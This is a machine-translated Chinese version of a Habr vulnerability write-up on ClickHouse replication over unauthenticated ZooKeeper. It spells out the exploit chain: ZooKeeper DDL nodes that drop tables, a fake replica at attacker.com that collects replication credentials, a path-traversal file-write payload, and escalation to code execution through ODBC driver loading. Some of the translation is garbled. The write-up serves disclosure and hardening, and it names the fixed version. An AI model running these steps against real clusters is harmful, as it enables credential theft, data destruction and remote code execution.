為什麼動物園的籠子需要關閉?

為什麼動物園的籠子需要關閉?

本文將講述 ClickHouse 複製協定中一個非常具體的漏洞的故事,也將展示如何擴展攻擊面。

ClickHouse 是一種用於儲存大量資料的資料庫,通常使用多個副本。 ClickHouse 中的群集和複製是建立在之上的 阿帕奇動物園管理員 (ZK) 並需要寫入權限。

預設的ZK安裝不需要身份驗證,因此用於配置Kafka、Hadoop、ClickHouse的數千台ZK伺服器是公開可用的。

為了減少攻擊面,您應該在安裝 ZooKeeper 時始終配置身份驗證和授權

當然有一些基於 0day 的 Java 反序列化,但想像攻擊者可以讀取和寫入用於 ClickHouse 複製的 ZooKeeper。

當配置為叢集模式時,ClickHouse支援分散式查詢 數據線,透過 ZK - 在工作表中為它們建立節點 /clickhouse/task_queue/ddl.

例如,您建立一個節點 /clickhouse/task_queue/ddl/query-0001 內容:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

之後,叢集伺服器host1和host2上的測試表將被刪除。 DDL 也支援執行 CREATE/ALTER/DROP 查詢。

聽起來很可怕嗎? 但是攻擊者可以從哪裡獲得伺服器位址呢?

ClickHouse複製 在單一資料表的層級上工作,因此在 ZK 中建立表格時,會指定一個伺服器負責與副本交換元資料。 例如執行請求時(必須配置ZK, chXX - 副本的名稱, foob​​ar的 - 表名稱):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

將創建節點 и 元數據.

內容 /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

是否可以合併該集群中的資料? 是的,如果複製連接埠(TCP/9009) 在伺服器上 chXX-address 防火牆不會關閉,並且不會配置複製身份驗證。 如何繞過身份驗證?

攻擊者只需複製 ZK 中的內容即可在 ZK 中建立新副本 /clickhouse/tables/01-01/foobar/replicas/chXX 並改變意義 host.

內容 /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

然後你需要告訴其他副本,攻擊者的伺服器上有一個新的資料塊需要他們取得-在ZK中創建了一個節點 /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX單調增長計數器,應大於事件日誌中的最後一個):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

哪裡 來源_副本 — 在上一個步驟中建立的攻擊者副本的名稱, 區塊ID — 資料塊標識符, 獲得 - 「取得區塊」指令(和 這是其他操作的命令).

接下來,每個副本都會讀取日誌中的一個新事件,並前往攻擊者控制的伺服器接收資料塊(複製協定是二進位的,運行在 HTTP 之上)。 伺服器 attacker.com 將收到請求:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

其中 XXX 是用於複製的身份驗證資料。 在某些情況下,這可能是透過主 ClickHouse 協定和 HTTP 協定存取資料庫的帳戶。 正如您所看到的,攻擊面變得非常大,因為用於複製的 ZooKeeper 沒有配置身份驗證。

讓我們來看看從副本中獲取資料塊的功能,它的編寫充滿信心,所有副本都處於適當的控制之下並且它們之間存在信任。

為什麼動物園的籠子需要關閉?
複製處理程式碼

函數會讀取檔案列表,然後讀取它們的名稱、大小、內容,然後將它們寫入檔案系統。 值得單獨描述資料如何儲存在檔案系統中。

裡面有幾個子目錄 /var/lib/clickhouse (設定檔中的預設儲存目錄):

標誌 - 錄音目錄 旗幟,用於資料遺失後的恢復;
TMP — 儲存暫存檔案的目錄;
使用者檔案 — 請求中檔案的操作僅限於此目錄(INTO OUTFILE 等);
元數據 — 帶有表格描述的 sql 檔案;
預處理配置 - 處理衍生性設定檔 /etc/clickhouse-server;
數據 - 包含資料本身的實際目錄,在這種情況下,為每個資料庫簡單地在此處建立一個單獨的子目錄(例如 /var/lib/clickhouse/data/default).

對於每個表,都會在資料庫目錄中建立一個子目錄。 每個欄位都是單獨的文件,取決於 引擎格式。 例如對於一個表 foob​​ar的由攻擊者創建,將創建以下文件:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

副本期望在處理資料區塊時接收具有相同名稱的文件,並且不以任何方式驗證它們。

細心的讀者可能已經聽說過函數中 file_name 的不安全串聯 WriteBufferFromFile。 是的,這允許攻擊者以使用者權限向 FS 上的任何檔案寫入任意內容 clickhouse。 為此,攻擊者控制的副本必須傳回以下對請求的回應(為了便於理解已新增換行符號):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

並連接後 ../../../../../../../../../tmp/pwned 該文件將被寫入 /tmp/pwned 有內容 你好來自動物園管理員.

有多種選項可將文件寫入功能轉變為遠端程式碼執行 (RCE)。

RCE 中的外部字典

在舊版本中,ClickHouse設定的目錄是用使用者權限儲存的 點擊之家 預設. 設定檔是服務在啟動時讀取然後快取在其中的 XML 文件 /var/lib/clickhouse/preprocessed_configs。 當發生變化時,它們會被重新讀取。 如果您有權訪問 /etc/clickhouse-server 攻擊者可以創建自己的 外部詞典 可執行類型,然後執行任意程式碼。 目前版本的 ClickHouse 預設不提供權限,但如果伺服器逐漸更新,此類權限可能會保留。 如果支援ClickHouse集群,請檢查settings目錄的權限,它必須屬於用戶 root.

ODBC 到 RCE

安裝套件時,會建立一個用戶 clickhouse,但未建立其主目錄 /nonexistent。 但是,當使用外部字典時,或由於其他原因,管理員會建立一個目錄 /nonexistent 並給用戶 clickhouse 訪問寫入它(SSZB! 約譯員).

ClickHouse 支持 ODBC 並且可以連接到其他資料庫。 在 ODBC 中,您可以指定資料庫驅動程式庫 (.so) 的路徑。 舊版的 ClickHouse 允許您直接在請求處理程序中執行此操作,但現在添加了對連接字串的更嚴格檢查 odbc-bridge,因此無法再從請求中指定驅動程式路徑。 但攻擊者可以利用上述漏洞寫入主目錄嗎?

讓我們建立一個文件 ~/.odbc.ini 內容如下:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

然後在啟動時 SELECT * FROM odbc('DSN=lalala', 'test', 'test'); 該庫將被加載 test.so 並收到 RCE(感謝 布格洛克 為小費)。

這些漏洞和其他漏洞已在 ClickHouse 版本 19.14.3 中修復。 照顧好你的 ClickHouse 和 ZooKeeper!

來源: www.habr.com

添加評論